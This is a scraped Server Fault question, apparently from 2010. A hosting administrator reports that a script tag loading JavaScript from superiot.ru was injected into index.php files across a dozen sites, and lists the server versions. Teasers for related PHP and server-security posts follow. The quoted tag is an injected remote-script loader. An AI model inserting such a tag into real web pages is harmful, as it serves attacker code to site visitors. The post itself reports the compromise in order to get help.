Information about recent code injection from http://superiot.ru

Posted by klennepette on Server Fault See other posts from Server Fault or by klennepette
Published on 2010-10-01T08:28:50Z Indexed on 2010/12/26 2:55 UTC
Read the original article Hit count: 338

Filed under:

php

|

server-security

Hello,

I manage the hosting for a few dozen websites. Since about a week I've been finding this code in 12 different websites in theindex.php files:

<script type="text/javascript" src="http://superiot.ru/**.js"></script> // The name of    the actual javascript file differs
<!-- some hash here-->

Some of the websites are on different servers, some aren't. I'm just wondering if anyone else has been seeing this too.

Edit with some more information:

All servers are centOS 5.3
PHP versions are either 5.2.9 or 5.2.4
Apache versions are either 2.2.3 or 1.3.39

© Server Fault or respective owner

Related posts about php

Magento, NGINX, PHP-FPM, APC, MEMCACHED, 16gb Ram CentOS, Spiking PHP-FPM to 100% CPU

as seen on Server Fault - Search for 'Server Fault'
I have been trying to resolve my issue of spiking cpu caused by php-fpm processes. I've reduced the php-fpm config settings to: pm = ondemand pm.max_children = 12 pm.start_servers = 2 pm.min_spare_servers = 2 pm.max_spare_servers = 10 pm.max_requests = 500 php_admin_value[memory_limit] = 128M Problem… >>> More
PHP Pear Installation on CentOS

as seen on Server Fault - Search for 'Server Fault'
[root@ip ~]# yum install php-pear* Reducing CentOS-5 Testing to included packages only Finished Setting up Install Process Package 1:php-pear-1.8.1-2.el5.centos.noarch already installed and latest versio … >>> More
Apache configurations for php "AddType text/html php" or "AddType application/x-httpd-php php .php"

as seen on Server Fault - Search for 'Server Fault'
I am taking over an application server and discover that it contain the following settings: AddType text/html php Although it works, but my understanding is that it should set as following: AddType application/x-httpd-php php .php What are the key differences between the two settings?… >>> More
mod_rewrite settings causes server to throw HTTP 500 errors instead of 404

as seen on Server Fault - Search for 'Server Fault'
Hello. I have a server with VBulletin forum (working under Apache 2.2, CentOS). The default settings for it in .htaccess are as follows: RewriteEngine on RewriteCond %{HTTP_HOST} ^gsmforum\.ru RewriteRule (.*) http://www.gsmforum.ru/$1 [R=301,L] # If you are having problems or are using VirtualDocumentRoot… >>> More
Problems installing Memcache (PECL extension)

as seen on Server Fault - Search for 'Server Fault'
I have installed memcached fine, and now I will need to install PECL extension memcache. Im running RedHat x86_64 es5. The installation gives me this: downloading memcache-2.2.6.tgz ... Starting to download memcache-2.2.6.tgz (35,957 bytes) ..........done: 35,957 bytes 11 source files, building running:… >>> More

Related posts about server-security

Stairway to SQL Server Security: Level 1, Overview of SQL Server Security

as seen on SQL Server Central - Search for 'SQL Server Central'
The ubiquity of databases and the potentially valuable information stored in them makes them attractive targets for people who want to steal data or harm its owner by tampering with it. Making sure that your data is secure is a critical part of configuring SQL Server and developing applications that… >>> More
Server Security

as seen on Server Fault - Search for 'Server Fault'
I want to run my own root server (directly accessible from the web without a hardware firewall) with debian lenny, apache2, php5, mysql, postfix MTA, sftp (based on ssh) and maybe dns server. What measures/software would you recomend, and why, to secure this server down and minimalize the attack… >>> More
Sql Server security Issue

as seen on Server Fault - Search for 'Server Fault'
how to add Sql server user for specific database with backup and restore permission only ?? >>> More
Server Security

as seen on Stack Overflow - Search for 'Stack Overflow'
I want to run my own root server (directly accessible from the web without a hardware firewall) with debian lenny, apache2, php5, mysql, postfix MTA, sftp (based on ssh) and maybe dns server. What measures/software would you recomend, and why, to secure this server down and minimalize the attack… >>> More
Sql Server security Issue

as seen on Stack Overflow - Search for 'Stack Overflow'
how to add Sql server user for specific database with backup and restore permission only ?? >>> More